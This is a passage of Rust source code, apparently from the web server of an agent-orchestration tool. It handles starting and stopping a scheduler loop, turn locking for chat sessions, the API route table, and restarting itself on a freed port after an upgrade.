932    /// The health view sizes this directory, so a test that leaves it at the
933    /// default would be measuring the operator's own machine.
934    #[must_use]
935    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
936        self.worktrees_root = root;
937        self
938    }
939
940    /// Point the loop at something other than [`launch_daemon`].
941    ///
942    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
943    /// this crate may start the real loop.
944    #[cfg(test)]
945    #[must_use]
946    fn with_launch(mut self, launch: Launch) -> Self {
947        self.launch = launch;
948        self
949    }
950
951    /// Install a [`BusyQueueGate`] for the next pass through the busy
952    /// branch's queued-draft write, replacing any earlier one.
953    ///
954    /// A setter on `&self` rather than a `with_*` builder consumed once,
955    /// because a test that drives the busy branch more than once (as
956    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
957    /// to build confidence the interleaving is handled deterministically and
958    /// not just on a lucky run) needs a fresh channel pair each time, on the
959    /// one `Ui` it already built its temp directories around.
960    #[cfg(test)]
961    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
962        *self
963            .busy_queue_gate
964            .lock()
965            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
966    }
967
968    /// Prevent a restart from ending an already accepted send between its
969    /// durable transcript write and detached worker reservation.
970    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
971        let guard = Arc::clone(&self.admissions)
972            .try_read_owned()
973            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
974        if *guard {
975            return Err(ApiError::conflict(
976                "web restart in progress; retry this message",
977            ));
978        }
979        Ok(guard)
980    }
981
982    /// Start a scheduler that outlives this web process.
983    async fn start_detached_loop(&self) -> ApiResult<()> {
984        if self
985            .upgrade_spawned
986            .load(std::sync::atomic::Ordering::SeqCst)
987        {
988            return Err(ApiError::conflict("an upgrade is in progress"));
989        }
990        let reading = daemon::read_status(&self.home);
991        if let Some(other) = Foreign::of(reading.as_ref()) {
992            return Err(ApiError::conflict(format!(
993                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
994                other.who()
995            )));
996        }
997        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
998        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
999        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1000            || reading.is_some_and(|reading| {
1001                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1002            });
1003        if control.is_some() && scheduler_running {
1004            return Err(ApiError::conflict(
1005                "the scheduler is still stopping; retry Start after it has stopped",
1006            ));
1007        }
1008        if !jobs.iter().any(|job| job.kind == "scheduler") {
1009            let available =
1010                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1011            if available.is_none() {
1012                return Err(ApiError::conflict(
1013                    "the scheduler is still running or stopping; retry after its transition completes",
1014                ));
1015            }
1016            drop(available);
1017        }
1018        let opts = daemon::Opts {
1019            repo: self.repo.clone(),
1020            merge: self.merge.clone(),
1021            worktrees_root: Some(self.worktrees_root.clone()),
1022            ..daemon::Opts::default()
1023        };
1024        daemon::spawn_detached(&self.home, &opts)
1025            .await
1026            .map_err(ApiError::from)?;
1027        let mut state = self.lock_loop();
1028        state.last_error = None;
1029        state.rev += 1;
1030        Ok(())
1031    }
1032
1033    /// Start the loop in this process, or say who already has one.
1034    ///
1035    /// `foreign` is passed in rather than read here so that one request makes
1036    /// one judgement about who owns the loop: reading the status file again
1037    /// inside this function could refuse a start for a daemon the same
1038    /// response then reports as gone.
1039    #[cfg(test)]
1040    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1041        if let Some(other) = foreign {
1042            return Err(ApiError::conflict(format!(
1043                "{} is already running the loop, so this one will not start a \
1044                 second: two loops on one queue race for the same claims and \
1045                 burn the agent quota twice over. Stop it where it was \
1046                 started.",
1047                other.who()
1048            )));
1049        }
1050        let mut state = self.lock_loop();
1051        if self
1052            .upgrade_spawned
1053            .load(std::sync::atomic::Ordering::SeqCst)
1054        {
1055            return Err(ApiError::conflict("an upgrade is in progress"));
1056        }
1057        if state.live.as_ref().is_some_and(Live::alive) {
1058            return Err(ApiError::conflict(format!(
1059                "this magi web process (pid {}) is already running the loop",
1060                std::process::id()
1061            )));
1062        }
1063
1064        let stop = daemon::Stop::new();
1065        // The CLI's own defaults for everything the UI has no opinion about:
1066        // one poll interval and one retry budget, so a loop started from a
1067        // phone behaves exactly like the `magi serve` it replaces.
1068        let opts = daemon::Opts {
1069            repo: self.repo.clone(),
1070            merge: self.merge.clone(),
1071            // Whatever this `Ui` already reports worktree sizes and folds
1072            // against (see `with_worktrees_root`) is what the loop it starts
1073            // must reclaim orphaned worktrees under too - two different
1074            // opinions about where the worktree bay is would leave the
1075            // janitor pass reclaiming a directory nothing else on this
1076            // process is even looking at.
1077            worktrees_root: Some(self.worktrees_root.clone()),
1078            ..daemon::Opts::default()
1079        };
1080        let launch = self.launch;
1081        let looping = Arc::clone(&self.looping);
1082        let handle = tokio::spawn({
1083            let opts = opts.clone();
1084            let stop = stop.clone();
1085            async move {
1086                let failure = match launch(opts, stop).await {
1087                    Ok(()) => None,
1088                    Err(e) => Some(format!("{e:#}")),
1089                };
1090                match &failure {
1091                    Some(why) => tracing::error!("the loop stopped: {why}"),
1092                    None => tracing::info!("the loop stopped"),
1093                }
1094                // Recorded by the task itself rather than reaped by whichever
1095                // request happens next, so `loop_rev` moves the moment the
1096                // loop ends and a phone with the change stream open learns
1097                // that it did. Clearing `live` drops this task's own handle,
1098                // which only detaches it, and is the last thing it does.
1099                let mut state = lock_or_recover(&looping);
1100                state.live = None;
1101                state.last_error = failure;
1102                state.rev += 1;
1103            }
1104        });
1105        tracing::info!(
1106            "the loop is now running in this process: repo {}, merge {}",
1107            opts.repo.display(),
1108            opts.merge.as_deref().unwrap_or("as the config says")
1109        );
1110        state.live = Some(Live { stop, handle, opts });
1111        // A fresh start is not the place to keep showing why the last one
1112        // died; the operator has read it and pressed the button anyway.
1113        state.last_error = None;
1114        state.rev += 1;
1115        Ok(())
1116    }
1117
1118    /// Ask the loop to stop, without waiting for it to get there.
1119    ///
1120    /// Idempotent: a second tap on stop is not an error, because the first one
1121    /// leaves the loop running for as long as the run in flight takes and the
1122    /// operator has no way to tell a slow stop from a lost one.
1123    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1124        if let Some(other) = foreign {
1125            return Err(ApiError::conflict(format!(
1126                "the loop belongs to {}, and this process cannot stop it - \
1127                 stop it where it was started. A button that silently did \
1128                 nothing would be worse than this refusal.",
1129                other.who()
1130            )));
1131        }
1132        #[cfg(not(test))]
1133        {
1134            daemon::request_control(
1135                &self.home,
1136                if park {
1137                    crate::worker::Control::Park
1138                } else {
1139                    crate::worker::Control::Stop
1140                },
1141            )
1142            .map_err(ApiError::from)?;
1143            self.lock_loop().rev += 1;
1144            Ok(())
1145        }
1146        #[cfg(test)]
1147        {
1148            let mut state = self.lock_loop();
1149            let Some(live) = state.live.as_ref() else {
1150                return Ok(());
1151            };
1152            // A park upgrades a stop that has already been asked for: the
1153            // operator who tapped "stop" and then realised the run has an hour
1154            // left must not have to restart the loop to change their mind.
1155            if live.stop.stopped() && (!park || live.stop.parking()) {
1156                return Ok(());
1157            }
1158            if park {
1159                live.stop.park(crate::run::ParkCause::Operator);
1160                tracing::info!(
1161                    "the loop was asked to park; the run stops at its next node boundary"
1162                );
1163            } else {
1164                live.stop.stop();
1165                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1166            }
1167            state.rev += 1;
1168            Ok(())
1169        }
1170    }
1171
1172    /// The loop as both `/api/loop` and `/api/health` report it.
1173    ///
1174    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1175    /// health answers with this view *and* the daemon object beside it: one
1176    /// read per response is what stops a single answer naming a foreign owner
1177    /// in one field and calling the loop free in the other.
1178    #[cfg(not(test))]
1179    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1180        let jobs = crate::worker::active(&self.home).map_err(|error| {
1181            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1182        })?;
1183        Ok(self.runtime_loop_view(reading, &jobs))
1184    }
1185
1186    #[cfg(test)]
1187    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1188        let state = self.lock_loop();
1189        // A loop that panicked never recorded its own end, so the handle -
1190        // not the presence of the record - is what "running" means.
1191        let live = state.live.as_ref().filter(|live| live.alive());
1192        LoopView {
1193            running: live.is_some(),
1194            stopping: live.is_some_and(|live| live.stop.finishing()),
1195            parking: live.is_some_and(|live| live.stop.parking()),
1196            owned: live.is_some(),
1197            repo: live
1198                .map_or(&self.repo, |live| &live.opts.repo)
1199                .display()
1200                .to_string(),
1201            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1202            last_error: state.last_error.clone(),
1203            daemon: DaemonView::of(reading),
1204        }
1205    }
1206
1207    /// Reuse one active-job snapshot for both ownership and public health.
1208    fn runtime_loop_view(
1209        &self,
1210        reading: Option<daemon::Reading>,
1211        jobs: &[crate::worker::Job],
1212    ) -> LoopView {
1213        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1214        let reporting = reading
1215            .as_ref()
1216            .is_some_and(|r| r.running(Timestamp::now()));
1217        let managed = scheduler.is_some()
1218            || (reporting
1219                && reading
1220                    .as_ref()
1221                    .is_some_and(|r| r.worker_protocol == Some(1)));
1222        let control = crate::worker::control(&self.home, "scheduler")
1223            .ok()
1224            .flatten();
1225        // Foreground serve also persists its options, so ownership never
1226        // causes us to substitute the web process's repository for its own.
1227        let persisted = if managed && scheduler.is_none() {
1228            std::fs::read(self.home.join("scheduler-options.json"))
1229                .ok()
1230                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1231        } else {
1232            None
1233        };
1234        let repo = scheduler
1235            .and_then(|job| job.payload.get("repo"))
1236            .and_then(serde_json::Value::as_str)
1237            .map(str::to_owned)
1238            .or_else(|| {
1239                persisted
1240                    .as_ref()
1241                    .map(|opts| opts.repo.display().to_string())
1242            })
1243            .unwrap_or_else(|| self.repo.display().to_string());
1244        let merge = match scheduler {
1245            Some(job) => job
1246                .payload
1247                .get("merge")
1248                .and_then(serde_json::Value::as_str)
1249                .map(str::to_owned),
1250            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1251        };
1252        LoopView {
1253            running: managed || reporting,
1254            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1255            parking: matches!(control, Some(crate::worker::Control::Park))
1256                && jobs.iter().any(|job| job.kind == "task"),
1257            owned: managed,
1258            repo,
1259            merge,
1260            last_error: self.lock_loop().last_error.clone(),
1261            daemon: DaemonView::of(reading),
1262        }
1263    }
1264
1265    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1266    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1267        lock_or_recover(&self.looping)
1268    }
1269
1270    /// In-flight admission, detached startup, or a cross-process turn lease.
1271    fn is_thinking(&self, id: &str) -> bool {
1272        self.talk_turns
1273            .lock()
1274            .is_ok_and(|turns| turns.live.contains(id))
1275            // Another process (the CLI) can hold the turn through the
1276            // on-disk lease.
1277            || self.talks.turn_held(id)
1278            || crate::consult::turn_worker_active(&self.talks, id)
1279    }
1280
1281    /// Claim the right to run one turn in a talk, or report that it is busy.
1282    ///
1283    /// A talk is strictly turn-based: the agent is resumed with the
1284    /// conversation it already has, so two turns running at once would resume
1285    /// the same session twice and append their answers in whatever order the
1286    /// two CLIs finished in. The operator would come back to a transcript
1287    /// with two half-turns interleaved, which is unreadable and, worse,
1288    /// unfixable - there is no undo for a persisted turn.
1289    ///
1290    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1291    /// starting a second CLI invocation for the same session.
1292    ///
1293    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1294    /// taken to test-and-insert and released before the agent is spawned. The
1295    /// returned guard removes the id on drop, which is what makes a panicking
1296    /// handler or a phone that walks out of range leave the talk usable - axum
1297    /// drops the handler future when the client disconnects, and without the
1298    /// guard that talk would be wedged until the server restarted.
1299    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1300        self.claim_talk_turn(id, false)
1301    }
1302
1303    /// Claim a turn after durably queueing a draft, or notify its current
1304    /// owner that a drainer must recheck before it releases the slot.
1305    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1306        self.claim_talk_turn(id, true)
1307    }
1308
1309    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1310        let mut live = self
1311            .talk_turns
1312            .lock()
1313            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1314        if crate::consult::turn_worker_active(&self.talks, id) {
1315            if queued {
1316                *live.queued.entry(id.to_owned()).or_default() += 1;
1317            }
1318            return Ok(None);
1319        }
1320        let inserted = live.live.insert(id.to_owned());
1321        // The on-disk lease is the cross-process half of the gate. Taken
1322        // second, and undone if lost, so `live` never claims a turn the lease
1323        // refused.
1324        let lease = if inserted {
1325            match self.talks.claim_turn(id) {
1326                Ok(Some(lease)) => Some(lease),
1327                Ok(None) => {
1328                    live.live.remove(id);
1329                    None
1330                }
1331                Err(e) => {
1332                    live.live.remove(id);
1333                    return Err(ApiError::from(e));
1334                }
1335            }
1336        } else {
1337            None
1338        };
1339        if lease.is_none() {
1340            if queued {
1341                // A queued write has landed before this busy check.
1342                // `drain_loop` uses this generation to recheck after its
1343                // off-thread disk read, so it cannot release a turn between
1344                // this check and the write.
1345                *live.queued.entry(id.to_owned()).or_default() += 1;
1346            }
1347            return Ok(None);
1348        }
1349        Ok(Some(TalkTurnGuard {
1350            talk: id.to_owned(),
1351            turns: Arc::clone(&self.talk_turns),
1352            released: false,
1353            lease,
1354        }))
1355    }
1356
1357    /// Decide whether a free talk may start a new immediate turn while its
1358    /// claim lock is held. A persisted draft without an owner is recovery
1359    /// state, not a busy turn: two simultaneous `/say` requests must both
1360    /// leave it untouched rather than one of them appending to it.
1361    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1362        let mut live = self
1363            .talk_turns
1364            .lock()
1365            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1366        // A detached worker owns its turn across web process replacement.
1367        if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1368            return Ok(TalkTurnStart::Busy);
1369        }
1370        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1371            return Ok(TalkTurnStart::Foreign);
1372        };
1373        // A refused `Pending` below drops the lease again.
1374        let talk = self.talks.get(id).map_err(ApiError::from)?;
1375        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1376            return Ok(TalkTurnStart::Pending);
1377        }
1378        live.live.insert(id.to_owned());
1379        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1380            talk: id.to_owned(),
1381            turns: Arc::clone(&self.talk_turns),
1382            released: false,
1383            lease: Some(lease),
1384        }))
1385    }
1386
1387    fn queued_generation(&self, id: &str) -> u64 {
1388        let live = self
1389            .talk_turns
1390            .lock()
1391            .unwrap_or_else(PoisonError::into_inner);
1392        live.queued.get(id).copied().unwrap_or(0)
1393    }
1394
1395    /// Automatic updates begin only when execution and chat workers are idle.
1396    /// A worker racing this snapshot survives the restart on its own executable.
1397    fn auto_upgrade_busy(&self) -> bool {
1398        #[cfg(test)]
1399        if self
1400            .lock_loop()
1401            .live
1402            .as_ref()
1403            .is_some_and(|live| live.stop.busy_now())
1404        {
1405            return true;
1406        }
1407        crate::worker::active(&self.home)
1408            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1409            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1410            || !self
1411                .resuming
1412                .lock()
1413                .unwrap_or_else(PoisonError::into_inner)
1414                .is_empty()
1415            || !self
1416                .talk_turns
1417                .lock()
1418                .unwrap_or_else(PoisonError::into_inner)
1419                .live
1420                .is_empty()
1421            || self
1422                .talks
1423                .list()
1424                .iter()
1425                .any(|talk| self.is_thinking(&talk.id))
1426    }
1427
1428    /// Claim a run for a resume, on the same reasoning as
1429    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1430    /// disconnected phone does not wedge the run until the server restarts.
1431    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1432        let mut live = self
1433            .resuming
1434            .lock()
1435            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1436        if self
1437            .upgrade_spawned
1438            .load(std::sync::atomic::Ordering::SeqCst)
1439        {
1440            return Err(ApiError::conflict("an upgrade is in progress"));
1441        }
1442        if !live.insert(id.to_owned()) {
1443            return Err(ApiError::conflict(format!(
1444                "run {id} is already being resumed"
1445            )));
1446        }
1447        Ok(ResumeGuard {
1448            run: id.to_owned(),
1449            resuming: Arc::clone(&self.resuming),
1450        })
1451    }
1452
1453    /// The router, with this state baked in.
1454    ///
1455    /// The three front-end files get one explicit route each rather than a
1456    /// path parameter, so there is no traversal surface to get wrong: the set
1457    /// of servable paths is the set written here. The asset route below is the
1458    /// one exception and the only place in this server where a client names a
1459    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1460    pub fn router(self) -> Router {
1461        Arc::new(self).shared_router()
1462    }
1463
1464    fn shared_router(self: Arc<Self>) -> Router {
1465        Router::new()
1466            .route("/", get(index))
1467            .route("/app.css", get(app_css))
1468            .route("/app.js", get(app_js))
1469            .route("/api/health", get(health))
1470            .route("/api/references", post(id_links::resolve_text))
1471            .route("/api/loop", get(loop_get).post(loop_post))
1472            .route("/api/upgrade", post(upgrade_post))
1473            .route("/api/runs", get(runs_list))
1474            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1475            .route("/api/runs/{id}/core", get(run_core))
1476            .route("/api/runs/{id}/report", get(run_report))
1477            .route("/api/runs/{id}/report.json", get(run_report_json))
1478            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1479            .route("/api/runs/{id}/fold", post(run_fold))
1480            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1481            .route("/api/runs/{id}/resume", post(run_resume))
1482            .route("/api/queue", get(queue_list))
1483            .route("/api/queue/page", get(queue_page))
1484            .route("/api/search", get(search_get))
1485            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1486            .route("/api/queue/{id}/core", get(task_core))
1487            .route("/api/stats", get(stats_get))
1488            .route("/api/stats/queue", get(stats_queue))
1489            .route("/api/repos", get(repos_list))
1490            .route("/api/settings", get(settings_get))
1491            .route("/api/settings/roles", put(settings_put_roles))
1492            .route("/api/queue/{id}/hold", post(queue_hold))
1493            .route("/api/queue/{id}/release", post(queue_release))
1494            .route("/api/queue/{id}/priority", post(queue_priority))
1495            .route("/api/queue/{id}/urgent", post(queue_urgent))
1496            .route("/api/queue/{id}/implementers", post(queue_implementers))
1497            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1498            .route("/api/queue/{id}/edit", post(queue_edit))
1499            .route("/api/queue/{id}/done", post(queue_done))
1500            .route("/api/questions", get(questions_list))
1501            .route("/api/questions/core", get(questions_core))
1502            .route("/api/questions/origins", get(question_origins))
1503            .route("/api/questions/{id}/answer", post(question_answer))
1504            .route("/api/questions/{id}/say", post(question_say))
1505            .route("/api/questions/{id}/consult", post(question_consult))
1506            .route("/api/questions/{id}/panel", get(question_panel))
1507            // The same asset, reachable from inside the panel by its bare
1508            // filename. A document served at `.../panel` resolves `shot.png`
1509            // to `.../shot.png`, which is not the asset route, so a panel
1510            // written the way its author was told to write it showed broken
1511            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1512            // it - deliberately - so the fix is that the panel's own URL ends
1513            // in a filename and its siblings are the assets.
1514            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1515            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1516            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1517            .route("/api/notifications", get(notifications_list))
1518            .route("/api/notifications/read-all", post(notifications_read_all))
1519            .route("/api/notifications/{id}/read", post(notification_read))
1520            .route(
1521                "/api/notifications/{id}/dismiss",
1522                post(notification_dismiss),
1523            )
1524            .route("/api/talks", get(talks_list).post(talk_post))
1525            .route("/api/talks/page", get(talks_page))
1526            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1527            .route("/api/talks/{id}/core", get(talk_core))
1528            .route("/api/talks/{id}/sections", get(talk_sections))
1529            .route("/api/talks/{id}/say", post(talk_say))
1530            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1531            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1532            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1533            .route("/api/talks/{id}/agent", post(talk_agent))
1534            .route("/api/talks/{id}/persona", post(talk_persona))
1535            .route("/api/talks/{id}/implementers", post(talk_implementers))
1536            .route("/api/talks/{id}/close", post(talk_close))
1537            .route("/api/talks/{id}/reopen", post(talk_reopen))
1538            // `DefaultBodyLimit` is raised only on this one route - every
1539            // other route on this server answers in a few kilobytes, and
1540            // widening the crate-wide default for all of them just because
1541            // one accepts a picture would let any other handler be handed
1542            // a multi-megabyte body it never expects.
1543            .route(
1544                "/api/talks/{id}/attachments",
1545                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1546            )
1547            .route(
1548                "/api/talks/{id}/attachments/{att}",
1549                get(talk_attachment_get),
1550            )
1551            .route("/api/talks/{id}/avatar", get(talk_avatar))
1552            .route("/avatars/operator.svg", get(operator_avatar))
1553            .route(
1554                "/api/avatar-settings",
1555                get(avatar_settings_get)
1556                    .put(avatar_settings_put)
1557                    .delete(avatar_settings_delete),
1558            )
1559            .route("/avatars/persona", get(settings_persona_avatar))
1560            .route("/avatars/magi", get(magi_avatar))
1561            .route(
1562                "/api/magi-icon",
1563                get(magi_icon_get)
1564                    .put(magi_icon_put)
1565                    .delete(magi_icon_delete),
1566            )
1567            .route("/api/events", get(events))
1568            .with_state(self)
1569    }
1570}
1571
1572/// One talk's turn slot, released on drop.
1573///
1574/// A guard rather than a matching `remove` at the end of the handler, because
1575/// the handler has several early returns and one `await` that can be cancelled
1576/// out from under it. A leaked id is a talk nobody can talk to again.
1577#[derive(Debug)]
1578struct TalkTurnGuard {
1579    talk: String,
1580    turns: Arc<Mutex<TalkTurns>>,
1581    released: bool,
1582    /// The cross-process half of the slot; dropped with the guard.
1583    lease: Option<crate::talk::TurnLease>,
1584}
1585
1586/// In-memory turn ownership plus the queue generation observed by a drainer.
1587///
1588/// The generation changes only after a durable queued draft is written and its
1589/// caller finds the turn busy. That lets the loop run filesystem work outside
1590/// this mutex while still making the final empty-check/release atomic with a
1591/// concurrent queue handoff.
1592#[derive(Debug, Default)]
1593struct TalkTurns {
1594    live: HashSet<String>,
1595    queued: HashMap<String, u64>,
1596}
1597
1598/// The atomic initial-state decision made by
1599/// [`Ui::begin_talk_turn_unless_pending`].
1600enum TalkTurnStart {
1601    Claimed(TalkTurnGuard),
1602    Busy,
1603    /// Another process holds the turn lease. Unlike `Busy` there is no local
1604    /// drain loop that would answer a queued draft, so the caller refuses.
1605    Foreign,
1606    Pending,
1607}
1608
1609impl TalkTurnGuard {
1610    #[cfg(test)]
1611    /// Does this guard still own the on-disk lease? A transient failure to
1612    /// check counts as owning: the next beat decides. A guard that lost it
1613    /// must not start another turn on the same session.
1614    fn owns(&self) -> bool {
1615        self.lease
1616            .as_ref()
1617            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1618    }
1619
1620    #[cfg(test)]
1621    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1622    /// than the lease's TTL still reads as held to other processes.
1623    async fn respond(
1624        &self,
1625        talk: &mut Talk,
1626        talks: &Talks,
1627        cfg: &Config,
1628        text: &str,
1629    ) -> anyhow::Result<()> {
1630        let lease = self
1631            .lease
1632            .as_ref()
1633            .context("the turn guard no longer holds its lease")?;
1634        talk::respond(lease, talk, talks, cfg, text).await
1635    }
1636
1637    /// Release while the caller already holds the claim mutex, closing the
1638    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1639    fn release(mut self, live: &mut TalkTurns) {
1640        // The on-disk lease goes first: while `live` still names the talk, no
1641        // local claim can start, so nobody observes the slot free but the
1642        // lease held.
1643        self.lease = None;
1644        live.live.remove(&self.talk);
1645        live.queued.remove(&self.talk);
1646        self.released = true;
1647    }
1648}
1649
1650impl Drop for TalkTurnGuard {
1651    fn drop(&mut self) {
1652        if self.released {
1653            return;
1654        }
1655        // Lease first, then the in-process slot (see `release`).
1656        drop(self.lease.take());
1657        if let Ok(mut live) = self.turns.lock() {
1658            live.live.remove(&self.talk);
1659            live.queued.remove(&self.talk);
1660        }
1661    }
1662}
1663
1664/// Releases a resume claim, so a run is resumable again after the attempt.
1665struct ResumeGuard {
1666    run: String,
1667    resuming: Arc<Mutex<HashSet<String>>>,
1668}
1669
1670impl Drop for ResumeGuard {
1671    fn drop(&mut self) {
1672        if let Ok(mut live) = self.resuming.lock() {
1673            live.remove(&self.run);
1674        }
1675    }
1676}
1677
1678/// Bind the port, waiting briefly for a predecessor to let go of it.
1679///
1680/// A restart hands the address from one process to the next, and the old one
1681/// holds its listener until it unwinds. A single `bind` can lose that race,
1682/// and for a restart triggered from a phone that means the deck never comes
1683/// back with no terminal around to say why.
1684///
1685/// Bounded, and only for the one error a wait can fix: anything else fails at
1686/// once, because retrying it would turn a clear message into a silence.
1687async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1688    const WINDOW: Duration = Duration::from_secs(10);
1689    const GAP: Duration = Duration::from_millis(250);
1690
1691    let deadline = std::time::Instant::now() + WINDOW;
1692    let mut said = false;
1693    loop {
1694        match tokio::net::TcpListener::bind(socket).await {
1695            Ok(listener) => return Ok(listener),
1696            Err(e)
1697                if e.kind() == std::io::ErrorKind::AddrInUse
1698                    && std::time::Instant::now() < deadline =>
1699            {
1700                if !said {
1701                    said = true;
1702                    tracing::info!(
1703                        "{socket} is still held - waiting up to {}s for it, \
1704                         which is what a restart looks like from here",
1705                        WINDOW.as_secs()
1706                    );
1707                }
1708                tokio::time::sleep(GAP).await;
1709            }
1710            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1711        }
1712    }
1713}
1714
1715/// Signalled when an upgrade has replaced the binary and the successor should
1716/// take this address over. One per process: there is one address to hand on.
1717static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1718
1719/// Set to `1` on the successor when the loop was running at handover.
1720const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1721/// Keep a dynamically assigned listener address stable across replacement.
1722const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1723
1724/// Whether the environment value asks for the loop to be resumed.
1725fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1726    value.is_some_and(|v| v == "1")
1727}
1728
1729/// Start this binary again with the same arguments, detached.
1730///
1731/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1732/// so the address is already free when the successor binds it. The first
1733/// attempt at this spawned the successor two hundred milliseconds before
1734/// exiting instead, and the released binary - which has no bind retry - died
1735/// on "address already in use" with its stdio sent to null, so the deck
1736/// simply never came back.
1737///
1738/// Detached and without inherited stdio: the successor has to outlive this
1739/// process, and must not hold open a pipe a terminal is waiting on.
1740///
1741/// The scheduler is restarted separately; execution workers are not awaited.
1742///
1743/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1744/// than sent to null: a supervisor's redirection only ever held the first
1745/// generation's descriptors, so every later generation logged nowhere. The
1746/// pid of the child is returned so the handover log can name it.
1747fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1748    let args: Vec<String> = std::env::args().skip(1).collect();
1749    updater::log_step(
1750        home,
1751        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1752    );
1753    let log_path = home.join(WEB_LOG);
1754    let open_log = || {
1755        std::fs::create_dir_all(home)?;
1756        std::fs::OpenOptions::new()
1757            .create(true)
1758            .append(true)
1759            .open(&log_path)
1760    };
1761    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1762        Ok(pair) => (
1763            std::process::Stdio::from(pair.0),
1764            std::process::Stdio::from(pair.1),
1765        ),
1766        Err(e) => {
1767            updater::log_warn(
1768                home,
1769                &format!(
1770                    "could not open {}: {e}; the successor logs nowhere",
1771                    log_path.display()
1772                ),
1773            );
1774            (std::process::Stdio::null(), std::process::Stdio::null())
1775        }
1776    };
1777
1778    let mut cmd = std::process::Command::new(exe);
1779    cmd.env_remove(RESUME_LOOP_ENV);
1780    cmd.env(RESTART_PORT_ENV, port.to_string());
1781    cmd.args(&args)
1782        .stdin(std::process::Stdio::null())
1783        .stdout(out)
1784        .stderr(err);
1785    #[cfg(windows)]
1786    {
1787        use std::os::windows::process::CommandExt as _;
1788        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1789        // and Ctrl-C in the old terminal must not reach the successor.
1790        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1791    }
1792    let child = cmd.spawn().context("start the successor")?;
1793    Ok(child.id())
1794}
1795
1796/// File under `<home>` the successor's output is appended to.
1797const WEB_LOG: &str = "web.log";
1798
1799/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1800/// stored by an earlier `notify_one` is consumed by the first poll, so the
1801/// signal is never missed and never wakes a second time.
1802async fn wait_for_handover(signal: &Notify) {
1803    signal.notified().await;
1804}
1805
1806/// Serve the UI independently from scheduler and execution workers.
1807/// A restart releases its listener before starting the successor.
1808pub async fn serve(opts: Opts) -> Result<()> {
1809    // Capture before self-replacement: current_exe may later name a removed
